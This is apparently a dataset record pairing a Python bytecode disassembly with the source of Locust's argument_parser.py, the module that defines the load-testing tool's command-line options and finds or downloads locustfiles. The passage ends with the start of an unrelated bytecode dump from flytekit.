'<filename>' LOAD_CONST 'LOCUST_LOGFILE' LOAD_CONST ('help', 'metavar', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Other options' CALL_METHOD STORE_FAST other_group LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '--show-task-ratio' LOAD_CONST 'store_true' LOAD_CONST "Print table of the User classes' task execution ratio. Use this with non-zero --user option if some classes define non-zero fixed_count attribute." LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '--show-task-ratio-json' LOAD_CONST 'store_true' LOAD_CONST "Print json data of the User classes' task execution ratio. Use this with non-zero --user option if some classes define non-zero fixed_count attribute." LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '--version' LOAD_CONST '-V' LOAD_CONST 'version' LOAD_CONST "Show program's version number and exit" LOAD_CONST 'locust ' LOAD_GLOBAL version FORMAT_VALUE LOAD_CONST ' from ' LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_GLOBAL __file__ CALL_METHOD FORMAT_VALUE LOAD_CONST ' (python ' LOAD_GLOBAL platform LOAD_METHOD python_version CALL_METHOD FORMAT_VALUE LOAD_CONST ')' BUILD_STRING LOAD_CONST ('action', 'help', 'version') CALL_FUNCTION POP_TOP LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '--exit-code-on-error' LOAD_GLOBAL int LOAD_CONST '<int>' LOAD_CONST 1 LOAD_CONST 'Sets the process exit code to use when a test result contain any failure or error. Defaults to 1.' LOAD_CONST 'LOCUST_EXIT_CODE_ON_ERROR' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '-s' LOAD_CONST '--stop-timeout' LOAD_CONST 'store' LOAD_CONST 'stop_timeout' LOAD_CONST '<number>' LOAD_CONST '0' LOAD_CONST 'Number of seconds to wait for a simulated user to complete any executing task before exiting. Default is to terminate immediately. This parameter only needs to be specified for the master process when running Locust distributed.' LOAD_CONST 'LOCUST_STOP_TIMEOUT' LOAD_CONST ('action', 'dest', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST other_group LOAD_ATTR add_argument LOAD_CONST '--equal-weights' LOAD_CONST 'store_true' LOAD_CONST False LOAD_CONST 'equal_weights' LOAD_CONST 'Use equally distributed task weights, overriding the weights specified in the locustfile.' LOAD_CONST ('action', 'default', 'dest', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'User classes' CALL_METHOD STORE_FAST user_classes_group LOAD_FAST user_classes_group LOAD_ATTR add_argument LOAD_CONST 'user_classes' LOAD_CONST '*' LOAD_CONST '<UserClass1 UserClass2>' LOAD_CONST 'At the end of the command line, you can list User classes to be used (available User classes can be listed with --list). LOCUST_USER_CLASSES environment variable can also be used to specify User classes. Default is to use all available User classes' LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST 'LOCUST_USER_CLASSES' LOAD_CONST '' CALL_METHOD LOAD_METHOD split CALL_METHOD LOAD_CONST ('nargs', 'metavar', 'help', 'default') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_empty_argument_parser LOAD_CONST True LOAD_FAST default_config_files LOAD_CONST ('add_help', 'default_config_files') CALL_FUNCTION STORE_FAST parser LOAD_GLOBAL setup_parser_arguments LOAD_FAST parser CALL_FUNCTION POP_TOP LOAD_GLOBAL locust LOAD_ATTR events LOAD_ATTR init_command_line_parser LOAD_ATTR fire LOAD_FAST parser LOAD_CONST ('parser',) CALL_FUNCTION POP_TOP LOAD_FAST parser RETURN_VALUE LOAD_GLOBAL get_parser CALL_FUNCTION STORE_FAST parser LOAD_FAST parser LOAD_ATTR parse_args LOAD_FAST args LOAD_CONST ('args',) CALL_FUNCTION STORE_FAST parsed_opts LOAD_FAST parsed_opts LOAD_ATTR stats_history_enabled POP_JUMP_IF_FALSE LOAD_FAST parsed_opts LOAD_ATTR csv_prefix LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parser LOAD_METHOD error LOAD_CONST "'--csv-full-history' requires '--csv'." CALL_METHOD POP_TOP LOAD_FAST parsed_opts RETURN_VALUE LOAD_GLOBAL get_empty_argument_parser CALL_FUNCTION STORE_FAST default_parser LOAD_GLOBAL setup_parser_arguments LOAD_FAST default_parser CALL_FUNCTION POP_TOP BUILD_MAP LOAD_FAST default_parser STORE_ATTR _default_config_files LOAD_GLOBAL vars LOAD_FAST default_parser LOAD_METHOD parse BUILD_LIST CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UIExtraArgOptions' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'default_value' STORE_SUBSCR LOAD_CONST 'bool' LOAD_NAME __annotations__ LOAD_CONST 'is_secret' STORE_SUBSCR LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'help_text' STORE_SUBSCR LOAD_CONST None STORE_NAME choices LOAD_CONST 'list[str] | None' LOAD_NAME __annotations__ LOAD_CONST 'choices' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_GLOBAL default_args_dict CALL_FUNCTION STORE_DEREF locust_args LOAD_GLOBAL get_parser CALL_FUNCTION STORE_DEREF parser LOAD_GLOBAL vars LOAD_DEREF parser LOAD_METHOD parse_args LOAD_FAST args CALL_METHOD CALL_FUNCTION STORE_FAST all_args LOAD_CLOSURE locust_args LOAD_CLOSURE parser BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab54393030, file "f.py", line 802> LOAD_CONST 'ui_extra_args_dict.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST all_args LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST extra_args LOAD_FAST extra_args RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 76 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_DEREF locust_args COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST k LOAD_DEREF parser LOAD_ATTR args_included_in_web_ui COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL UIExtraArgOptions LOAD_FAST v LOAD_FAST k LOAD_DEREF parser LOAD_ATTR secret_args_included_in_web_ui COMPARE_OP in LOAD_DEREF parser LOAD_ATTR args_included_in_web_ui LOAD_FAST k BINARY_SUBSCR LOAD_ATTR help LOAD_DEREF parser LOAD_ATTR args_included_in_web_ui LOAD_FAST k BINARY_SUBSCR LOAD_ATTR choices LOAD_CONST ('default_value', 'is_secret', 'help_text', 'choices') CALL_FUNCTION LOAD_METHOD _asdict CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL len LOAD_FAST locustfiles CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_FAST locustfiles LOAD_CONST 0 BINARY_SUBSCR STORE_FAST locustfile LOAD_FAST locustfile LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST locustfile CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST locustfile CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST 'WARNING: Using ' LOAD_FAST locustfile FORMAT_VALUE LOAD_CONST '.py instead of directory ' LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_FAST locustfile CALL_METHOD FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING STORE_FAST msg LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_FAST msg CALL_METHOD POP_TOP LOAD_CONST False RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST locustfile CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE
from __future__ import annotations import locust from locust import runners from locust.rpc import Message, zmqrpc import atexit import os import platform import socket import sys import tempfile import textwrap from typing import Any, NamedTuple from urllib.parse import urlparse from uuid import uuid4 import configargparse import gevent import requests version = locust.__version__ DEFAULT_CONFIG_FILES = ["~/.locust.conf", "locust.conf"] class LocustArgumentParser(configargparse.ArgumentParser): """Drop-in replacement for `configargparse.ArgumentParser` that adds support for optionally exclude arguments from the UI. """ def add_argument(self, *args, **kwargs) -> configargparse.Action: """ This method supports the same args as ArgumentParser.add_argument(..) as well as the additional args below. Arguments: include_in_web_ui: If True (default), the argument will show in the UI. is_secret: If True (default is False) and include_in_web_ui is True, the argument will show in the UI with a password masked text input. Returns: argparse.Action: the new argparse action """ include_in_web_ui = kwargs.pop("include_in_web_ui", True) is_secret = kwargs.pop("is_secret", False) action = super().add_argument(*args, **kwargs) action.include_in_web_ui = include_in_web_ui action.is_secret = is_secret return action @property def args_included_in_web_ui(self) -> dict[str, configargparse.Action]: return { a.dest: a for a in self._actions if hasattr(a, "include_in_web_ui") and a.include_in_web_ui } @property def secret_args_included_in_web_ui(self) -> dict[str, configargparse.Action]: return { a.dest: a for a in self._actions if a.dest in self.args_included_in_web_ui and hasattr(a, "is_secret") and a.is_secret } def _is_package(path): """ Is the given path a Python package? """ return os.path.isdir(path) and os.path.exists(os.path.join(path, "__init__.py")) def find_locustfile(locustfile: str) -> str | None: """ Attempt to locate a locustfile, either explicitly or by searching parent dirs. """ names = [locustfile] if not names[0].endswith(".py"): names.append(names[0] + ".py") if os.path.dirname(names[0]): for name in names: expanded = os.path.expanduser(name) if os.path.exists(expanded): if name.endswith(".py") or _is_package(expanded): return os.path.abspath(expanded) else: path = os.path.abspath(".") while True: for name in names: joined = os.path.join(path, name) if os.path.exists(joined): if name.endswith(".py") or _is_package(joined): return os.path.abspath(joined) parent_path = os.path.dirname(path) if parent_path == path: break path = parent_path return None def find_locustfiles(locustfiles: list[str], is_directory: bool) -> list[str]: """ Returns a list of relative file paths for the Locustfile Picker. If is_directory is True, locustfiles is expected to have a single index which is a directory that will be searched for locustfiles. Ignores files that start with _ """ file_paths = [] if is_directory: locustdir = locustfiles[0] if len(locustfiles) != 1: sys.stderr.write( f"Multiple values passed in for directory: {locustfiles}\n" ) sys.exit(1) if not os.path.exists(locustdir): sys.stderr.write(f"Could not find directory '{locustdir}'\n") sys.exit(1) if not os.path.isdir(locustdir): sys.stderr.write(f"'{locustdir} is not a directory\n") sys.exit(1) for root, dirs, files in os.walk(locustdir): for file in files: if not file.startswith("_") and file.endswith(".py"): file_path = os.path.join(root, file) file_paths.append(file_path) else: for file_path in locustfiles: if not file_path.endswith(".py"): sys.stderr.write( f"Invalid file '{file_path}'. File should have '.py' extension\n" ) sys.exit(1) file_paths.append(file_path) return file_paths def is_url(url: str) -> bool: try: result = urlparse(url) if result.scheme == "https" or result.scheme == "http": return True else: return False except ValueError: return False def download_locustfile_from_url(url: str) -> str: try: response = requests.get(url) except requests.exceptions.RequestException as e: sys.stderr.write(f"Failed to get locustfile from: {url}. Exception: {e}") sys.exit(1) with open( os.path.join(tempfile.gettempdir(), url.rsplit("/", 1)[-1]), "w" ) as locustfile: locustfile.write(response.text) def exit_handler(): try: os.remove(locustfile.name) except FileNotFoundError: pass # this is normal when multiple workers are running on the same machine atexit.register(exit_handler) return locustfile.name def get_empty_argument_parser( add_help=True, default_config_files=DEFAULT_CONFIG_FILES ) -> LocustArgumentParser: parser = LocustArgumentParser( default_config_files=default_config_files, add_env_var_help=False, add_config_file_help=False, add_help=add_help, formatter_class=configargparse.RawDescriptionHelpFormatter, usage=configargparse.SUPPRESS, description=textwrap.dedent( """ Usage: locust [options] [UserClass ...] """ ), epilog="""Examples: locust -f my_test.py -H https://www.example.com locust --headless -u 100 -t 20m --processes 4 MyHttpUser AnotherUser See documentation for more details, including how to set options using a file or environment variables: https://docs.locust.io/en/stable/configuration.html""", ) parser.add_argument( "-f", "--locustfile", metavar="<filename>", default="locustfile", help="The Python file or module that contains your test, e.g. 'my_test.py'. Also accepts multiple comma-separated .py files or a package name/directory. Defaults to 'locustfile'.", env_var="LOCUST_LOCUSTFILE", ) parser.add_argument( "--config", is_config_file_arg=True, help="File to read additional configuration from. See https://docs.locust.io/en/stable/configuration.html#configuration-file", metavar="<filename>", ) return parser def download_locustfile_from_master(master_host: str, master_port: int) -> str: client_id = socket.gethostname() + "_download_locustfile_" + uuid4().hex tempclient = zmqrpc.Client(master_host, master_port, client_id) got_reply = False def ask_for_locustfile(): while not got_reply: tempclient.send(Message("locustfile", None, client_id)) gevent.sleep(1) def wait_for_reply(): return tempclient.recv() gevent.spawn(ask_for_locustfile) try: msg = gevent.spawn(wait_for_reply).get( timeout=runners.CONNECT_TIMEOUT * runners.CONNECT_RETRY_COUNT ) got_reply = True except gevent.Timeout: sys.stderr.write( f"Got no locustfile response from master, gave up after {runners.CONNECT_TIMEOUT * runners.CONNECT_RETRY_COUNT}s\n" ) sys.exit(1) if msg.type != "locustfile": sys.stderr.write(f"Got wrong message type from master {msg.type}\n") sys.exit(1) if "error" in msg.data: sys.stderr.write(f"Got error from master: {msg.data['error']}\n") sys.exit(1) filename = msg.data["filename"] with open(os.path.join(tempfile.gettempdir(), filename), "w") as locustfile: locustfile.write(msg.data["contents"]) def exit_handler(): try: os.remove(locustfile.name) except FileNotFoundError: pass # this is normal when multiple workers are running on the same machine atexit.register(exit_handler) tempclient.close() return locustfile.name def parse_locustfile_option(args=None) -> list[str]: """ Construct a command line parser that is only used to parse the -f argument so that we can import the test scripts in case any of them adds additional command line arguments to the parser Returns: Locustfiles (List): List of locustfile paths """ parser = get_empty_argument_parser(add_help=False) parser.add_argument( "-h", "--help", action="store_true", default=False, ) parser.add_argument( "--version", "-V", action="store_true", default=False, ) parser.add_argument( "--worker", action="store_true", env_var="LOCUST_MODE_WORKER", ) parser.add_argument( "--master", # this is just here to prevent argparse from giving the dreaded "ambiguous option: --master could match --master-host, --master-port" action="store_true", env_var="LOCUST_MODE_MASTER", ) parser.add_argument( "--master-host", default="127.0.0.1", env_var="LOCUST_MASTER_NODE_HOST", ) parser.add_argument( "--master-port", type=int, default=5557, env_var="LOCUST_MASTER_NODE_PORT", ) options, _ = parser.parse_known_args(args=args) if options.locustfile == "-": if not options.worker: sys.stderr.write( "locustfile was set to '-' (meaning to download from master) but --worker was not specified.\n" ) sys.exit(1) filename = download_locustfile_from_master( options.master_host, options.master_port ) return [filename] locustfile_as_list = [ download_locustfile_from_url(f) if is_url(f.strip()) else f.strip() for f in options.locustfile.split(",") ] if locustfile_is_directory(locustfile_as_list): locustfiles = find_locustfiles(locustfile_as_list, is_directory=True) locustfile = None if not locustfiles: sys.stderr.write( f"Could not find any locustfiles in directory '{locustfile_as_list[0]}'. See --help for available options.\n" ) sys.exit(1) else: if len(locustfile_as_list) > 1: locustfiles = find_locustfiles(locustfile_as_list, is_directory=False) locustfile = None else: locustfile = find_locustfile(locustfile_as_list[0]) locustfiles = [] if not locustfile: if options.help or options.version: parse_options(args=args) note_about_file_endings = "" user_friendly_locustfile_name = options.locustfile if options.locustfile == "locustfile": user_friendly_locustfile_name = "locustfile.py" elif not options.locustfile.endswith(".py"): note_about_file_endings = "Ensure your locustfile ends with '.py' or is a directory with locustfiles. " sys.stderr.write( f"Could not find '{user_friendly_locustfile_name}'. {note_about_file_endings}See --help for available options.\n" ) sys.exit(1) else: locustfiles.append(locustfile) return locustfiles def setup_parser_arguments(parser): """ Setup command-line options Takes a configargparse.ArgumentParser as argument and calls it's add_argument for each of the supported arguments """ parser._optionals.title = "Common options" parser.add_argument( "-H", "--host", metavar="<base url>", help="Host to load test, in the following format: https://www.example.com", env_var="LOCUST_HOST", ) parser.add_argument( "-u", "--users", type=int, metavar="<int>", dest="num_users", help="Peak number of concurrent Locust users. Primarily used together with --headless or --autostart. Can be changed during a test by keyboard inputs w, W (spawn 1, 10 users) and s, S (stop 1, 10 users)", env_var="LOCUST_USERS", ) parser.add_argument( "-r", "--spawn-rate", type=float, metavar="<float>", help="Rate to spawn users at (users per second). Primarily used together with --headless or --autostart", env_var="LOCUST_SPAWN_RATE", ) parser.add_argument( "--hatch-rate", env_var="LOCUST_HATCH_RATE", metavar="<float>", type=float, default=0, help=configargparse.SUPPRESS, ) parser.add_argument( "-t", "--run-time", metavar="<time string>", help="Stop after the specified amount of time, e.g. (300s, 20m, 3h, 1h30m, etc.). Only used together with --headless or --autostart. Defaults to run forever.", env_var="LOCUST_RUN_TIME", ) parser.add_argument( "-l", "--list", action="store_true", dest="list_commands", help="Show list of possible User classes and exit", ) parser.add_argument( "--config-users", type=str, nargs="*", help="User configuration as a JSON string or file. A list of arguments or an Array of JSON configuration may be provided", env_var="LOCUST_CONFIG_USERS", ) web_ui_group = parser.add_argument_group("Web UI options") web_ui_group.add_argument( "--web-host", default="", metavar="<ip>", help="Host to bind the web interface to. Defaults to '*' (all interfaces)", env_var="LOCUST_WEB_HOST", ) web_ui_group.add_argument( "--web-port", "-P", type=int, metavar="<port number>", default=8089, help="Port on which to run web host", env_var="LOCUST_WEB_PORT", ) web_ui_group.add_argument( "--headless", action="store_true", help="Disable the web interface, and start the test immediately. Use -u and -t to control user count and run time", env_var="LOCUST_HEADLESS", ) web_ui_group.add_argument( "--autostart", action="store_true", help="Starts the test immediately (like --headless, but without disabling the web UI)", env_var="LOCUST_AUTOSTART", ) web_ui_group.add_argument( "--autoquit", type=int, metavar="<seconds>", default=-1, help="Quits Locust entirely, X seconds after the run is finished. Only used together with --autostart. The default is to keep Locust running until you shut it down using CTRL+C", env_var="LOCUST_AUTOQUIT", ) web_ui_group.add_argument( "--headful", action="store_true", help=configargparse.SUPPRESS, env_var="LOCUST_HEADFUL", ) web_ui_group.add_argument( "--web-auth", type=str, dest="web_auth", metavar="<username:password>", default=None, help=configargparse.SUPPRESS, env_var="LOCUST_WEB_AUTH", ) web_ui_group.add_argument( "--web-login", default=False, action="store_true", help="Protects the web interface with a login page. See https://docs.locust.io/en/stable/extending-locust.html#authentication", env_var="LOCUST_WEB_LOGIN", ) web_ui_group.add_argument( "--tls-cert", default="", metavar="<filename>", help="Optional path to TLS certificate to use to serve over HTTPS", env_var="LOCUST_TLS_CERT", ) web_ui_group.add_argument( "--tls-key", default="", metavar="<filename>", help="Optional path to TLS private key to use to serve over HTTPS", env_var="LOCUST_TLS_KEY", ) web_ui_group.add_argument( "--class-picker", default=False, action="store_true", help="Enable select boxes in the web interface to choose from all available User classes and Shape classes", env_var="LOCUST_USERCLASS_PICKER", ) web_ui_group.add_argument( "--legacy-ui", default=False, action="store_true", help="Use the legacy frontend for the web UI", env_var="LOCUST_LEGACY_UI", ) master_group = parser.add_argument_group( "Master options", "Options for running a Locust Master node when running Locust distributed. A Master node need Worker nodes that connect to it before it can run load tests.", ) master_group.add_argument( "--master", action="store_true", help="Launch locust as a master node, to which worker nodes connect.", env_var="LOCUST_MODE_MASTER", ) master_group.add_argument( "--master-bind-host", default="*", metavar="<ip>", help="IP address for the master to listen on, e.g '192.168.1.1'. Defaults to * (all available interfaces).", env_var="LOCUST_MASTER_BIND_HOST", ) master_group.add_argument( "--master-bind-port", type=int, metavar="<port number>", default=5557, help="Port for the master to listen on. Defaults to 5557.", env_var="LOCUST_MASTER_BIND_PORT", ) master_group.add_argument( "--expect-workers", type=int, metavar="<int>", default=1, help="Delay starting the test until this number of workers have connected (only used in combination with --headless/--autostart).", env_var="LOCUST_EXPECT_WORKERS", ) master_group.add_argument( "--expect-workers-max-wait", type=int, metavar="<int>", default=0, help="How long should the master wait for workers to connect before giving up. Defaults to wait forever", env_var="LOCUST_EXPECT_WORKERS_MAX_WAIT", ) master_group.add_argument( "--enable-rebalancing", action="store_true", default=False, dest="enable_rebalancing", help="Re-distribute users if new workers are added or removed during a test run. Experimental.", ) master_group.add_argument( "--expect-slaves", action="store_true", help=configargparse.SUPPRESS, ) worker_group = parser.add_argument_group( "Worker options", """Options for running a Locust Worker node when running Locust distributed. Typically ONLY these options (and --locustfile) need to be specified on workers, since other options (-u, -r, -t, ...) are controlled by the master node.""", ) worker_group.add_argument( "--worker", action="store_true", help="Set locust to run in distributed mode with this process as worker. Can be combined with setting --locustfile to '-' to download it from master.", env_var="LOCUST_MODE_WORKER", ) worker_group.add_argument( "--processes", type=int, metavar="<int>", help="Number of times to fork the locust process, to enable using system. Combine with --worker flag or let it automatically set --worker and --master flags for an all-in-one-solution. Not available on Windows. Experimental.", env_var="LOCUST_PROCESSES", ) worker_group.add_argument( "--slave", action="store_true", help=configargparse.SUPPRESS, ) worker_group.add_argument( "--master-host", default="127.0.0.1", help="Hostname of locust master node to connect to. Defaults to 127.0.0.1.", env_var="LOCUST_MASTER_NODE_HOST", metavar="<hostname>", ) worker_group.add_argument( "--master-port", type=int, metavar="<port number>", default=5557, help="Port to connect to on master node. Defaults to 5557.", env_var="LOCUST_MASTER_NODE_PORT", ) tag_group = parser.add_argument_group( "Tag options", "Locust tasks can be tagged using the @tag decorator. These options let specify which tasks to include or exclude during a test.", ) tag_group.add_argument( "-T", "--tags", nargs="*", metavar="<tag>", env_var="LOCUST_TAGS", help="List of tags to include in the test, so only tasks with any matching tags will be executed", ) tag_group.add_argument( "-E", "--exclude-tags", nargs="*", metavar="<tag>", env_var="LOCUST_EXCLUDE_TAGS", help="List of tags to exclude from the test, so only tasks with no matching tags will be executed", ) stats_group = parser.add_argument_group("Request statistics options") stats_group.add_argument( "--csv", # Name repeated in 'parse_options' dest="csv_prefix", metavar="<filename>", help="Store request stats to files in CSV format. Setting this option will generate three files: <filename>_stats.csv, <filename>_stats_history.csv and <filename>_failures.csv. Any folders part of the prefix will be automatically created", env_var="LOCUST_CSV", ) stats_group.add_argument( "--csv-full-history", # Name repeated in 'parse_options' action="store_true", default=False, dest="stats_history_enabled", help="Store each stats entry in CSV format to _stats_history.csv file. You must also specify the '--csv' argument to enable this.", env_var="LOCUST_CSV_FULL_HISTORY", ) stats_group.add_argument( "--print-stats", action="store_true", help="Enable periodic printing of request stats in UI runs", env_var="LOCUST_PRINT_STATS", ) stats_group.add_argument( "--only-summary", action="store_true", help="Disable periodic printing of request stats during --headless run", env_var="LOCUST_ONLY_SUMMARY", ) stats_group.add_argument( "--reset-stats", action="store_true", help="Reset statistics once spawning has been completed. Should be set on both master and workers when running in distributed mode", env_var="LOCUST_RESET_STATS", ) stats_group.add_argument( "--html", metavar="<filename>", dest="html_file", help="Store HTML report to file path specified", env_var="LOCUST_HTML", ) stats_group.add_argument( "--json", default=False, action="store_true", help="Prints the final stats in JSON format to stdout. Useful for parsing the results in other programs/scripts. Use together with --headless and --skip-log for an output only with the json data.", ) log_group = parser.add_argument_group("Logging options") log_group.add_argument( "--skip-log-setup", action="store_true", dest="skip_log_setup", default=False, help="Disable Locust's logging setup. Instead, the configuration is provided by the Locust test or Python defaults.", env_var="LOCUST_SKIP_LOG_SETUP", ) log_group.add_argument( "--loglevel", "-L", default="INFO", help="Choose between DEBUG/INFO/WARNING/ERROR/CRITICAL. Default is INFO.", metavar="<level>", env_var="LOCUST_LOGLEVEL", ) log_group.add_argument( "--logfile", help="Path to log file. If not set, log will go to stderr", metavar="<filename>", env_var="LOCUST_LOGFILE", ) other_group = parser.add_argument_group("Other options") other_group.add_argument( "--show-task-ratio", action="store_true", help="Print table of the User classes' task execution ratio. Use this with non-zero --user option if some classes define non-zero fixed_count attribute.", ) other_group.add_argument( "--show-task-ratio-json", action="store_true", help="Print json data of the User classes' task execution ratio. Use this with non-zero --user option if some classes define non-zero fixed_count attribute.", ) other_group.add_argument( "--version", "-V", action="version", help="Show program's version number and exit", version=f"locust {version} from {os.path.dirname(__file__)} (python {platform.python_version()})", ) other_group.add_argument( "--exit-code-on-error", type=int, metavar="<int>", default=1, help="Sets the process exit code to use when a test result contain any failure or error. Defaults to 1.", env_var="LOCUST_EXIT_CODE_ON_ERROR", ) other_group.add_argument( "-s", "--stop-timeout", action="store", dest="stop_timeout", metavar="<number>", default="0", help="Number of seconds to wait for a simulated user to complete any executing task before exiting. Default is to terminate immediately. This parameter only needs to be specified for the master process when running Locust distributed.", env_var="LOCUST_STOP_TIMEOUT", ) other_group.add_argument( "--equal-weights", action="store_true", default=False, dest="equal_weights", help="Use equally distributed task weights, overriding the weights specified in the locustfile.", ) user_classes_group = parser.add_argument_group("User classes") user_classes_group.add_argument( "user_classes", nargs="*", metavar="<UserClass1 UserClass2>", help="At the end of the command line, you can list User classes to be used (available User classes can be listed with --list). LOCUST_USER_CLASSES environment variable can also be used to specify User classes. Default is to use all available User classes", default=os.environ.get("LOCUST_USER_CLASSES", "").split(), ) def get_parser(default_config_files=DEFAULT_CONFIG_FILES) -> LocustArgumentParser: parser = get_empty_argument_parser( add_help=True, default_config_files=default_config_files ) setup_parser_arguments(parser) locust.events.init_command_line_parser.fire(parser=parser) return parser def parse_options(args=None) -> configargparse.Namespace: parser = get_parser() parsed_opts = parser.parse_args(args=args) if parsed_opts.stats_history_enabled and (parsed_opts.csv_prefix is None): parser.error("'--csv-full-history' requires '--csv'.") return parsed_opts def default_args_dict() -> dict: default_parser = get_empty_argument_parser() setup_parser_arguments(default_parser) default_parser._default_config_files = {} return vars(default_parser.parse([])) class UIExtraArgOptions(NamedTuple): default_value: str is_secret: bool help_text: str choices: list[str] | None = None def ui_extra_args_dict(args=None) -> dict[str, dict[str, Any]]: """Get all the UI visible arguments""" locust_args = default_args_dict() parser = get_parser() all_args = vars(parser.parse_args(args)) extra_args = { k: UIExtraArgOptions( default_value=v, is_secret=k in parser.secret_args_included_in_web_ui, help_text=parser.args_included_in_web_ui[k].help, choices=parser.args_included_in_web_ui[k].choices, )._asdict() for k, v in all_args.items() if k not in locust_args and k in parser.args_included_in_web_ui } return extra_args def locustfile_is_directory(locustfiles: list[str]) -> bool: """ If a user passes in a locustfile without a file extension and there is a directory with the same name, this function defaults to using the file and will raise a warning. In this example, foobar.py will be used: ├── src/ │ ├── foobar.py ├── foobar/ │ ├── locustfile.py locust -f foobar """ if len(locustfiles) > 1: return False locustfile = locustfiles[0] if not locustfile.endswith(".py"): if os.path.isfile(locustfile) and os.path.isdir(locustfile): msg = f"WARNING: Using {locustfile}.py instead of directory {os.path.abspath(locustfile)}\n" sys.stderr.write(msg) return False if os.path.isdir(locustfile): return True return False
data/locust-2.23.1/locust/argument_parser.py
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LOAD_CONST 0 LOAD_CONST ('datetime',) IMPORT_NAME datetime IMPORT_FROM datetime STORE_NAME _datetime POP_TOP LOAD_CONST 0 LOAD_CONST ('timezone',) IMPORT_NAME datetime IMPORT_FROM timezone STORE_NAME _timezone POP_TOP LOAD_CONST 0 LOAD_CONST ('Dict', 'Optional') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Optional STORE_NAME Optional POP_TOP LOAD_CONST 0 LOAD_CONST ('literals_pb2',) IMPORT_NAME flyteidl.core IMPORT_FROM literals_pb2 STORE_NAME _literals_pb2 POP_TOP LOAD_CONST 0 LOAD_CONST ('Struct',) IMPORT_NAME google.protobuf.struct_pb2 IMPORT_FROM Struct STORE_NAME Struct POP_TOP LOAD_CONST 0 LOAD_CONST ('user',) IMPORT_NAME flytekit.exceptions IMPORT_FROM user STORE_NAME _user_exceptions POP_TOP LOAD_CONST 0 LOAD_CONST ('common',) IMPORT_NAME flytekit.models IMPORT_FROM common STORE_NAME _common POP_TOP LOAD_CONST 0 LOAD_CONST ('types',) IMPORT_NAME flytekit.models.core IMPORT_FROM types STORE_NAME _core_types POP_TOP LOAD_CONST 0 LOAD_CONST ('Error', 'StructuredDatasetType') IMPORT_NAME flytekit.models.types IMPORT_FROM Error STORE_NAME Error IMPORT_FROM StructuredDatasetType STORE_NAME StructuredDatasetType POP_TOP LOAD_CONST 0 LOAD_CONST ('LiteralType',) IMPORT_NAME flytekit.models.types IMPORT_FROM LiteralType STORE_NAME _LiteralType POP_TOP LOAD_CONST 0 LOAD_CONST ('OutputReference',) IMPORT_NAME flytekit.models.types IMPORT_FROM OutputReference STORE_NAME _OutputReference POP_TOP LOAD_CONST 0 LOAD_CONST ('SchemaType',) IMPORT_NAME flytekit.models.types IMPORT_FROM SchemaType STORE_NAME _SchemaType POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object RetryStrategy at 0x7fa6db191810, file "f.py", line 17> LOAD_CONST 'RetryStrategy' MAKE_FUNCTION LOAD_CONST 'RetryStrategy' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME RetryStrategy LOAD_BUILD_CLASS LOAD_CONST <code object Primitive at 0x7fa6f1557db0, file "f.py", line 48> LOAD_CONST 'Primitive' MAKE_FUNCTION LOAD_CONST 'Primitive' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Primitive LOAD_BUILD_CLASS LOAD_CONST <code object Binary at 0x7fa6d4b48780, file "f.py", line 180> LOAD_CONST 'Binary' MAKE_FUNCTION LOAD_CONST 'Binary' LOAD_NAME _common LOAD_ATTR FlyteIdlEntity CALL_FUNCTION STORE_NAME Binary LOAD_BUILD_CLASS LOAD_CONST <code object BlobMetadata at 0x7fa6d4b480c0, file "f.py", line 218> LOAD_CONST 'BlobMetadata' MAKE_FUNCTION LOAD_CONST 'BlobMetadata' LOAD_NAME _common 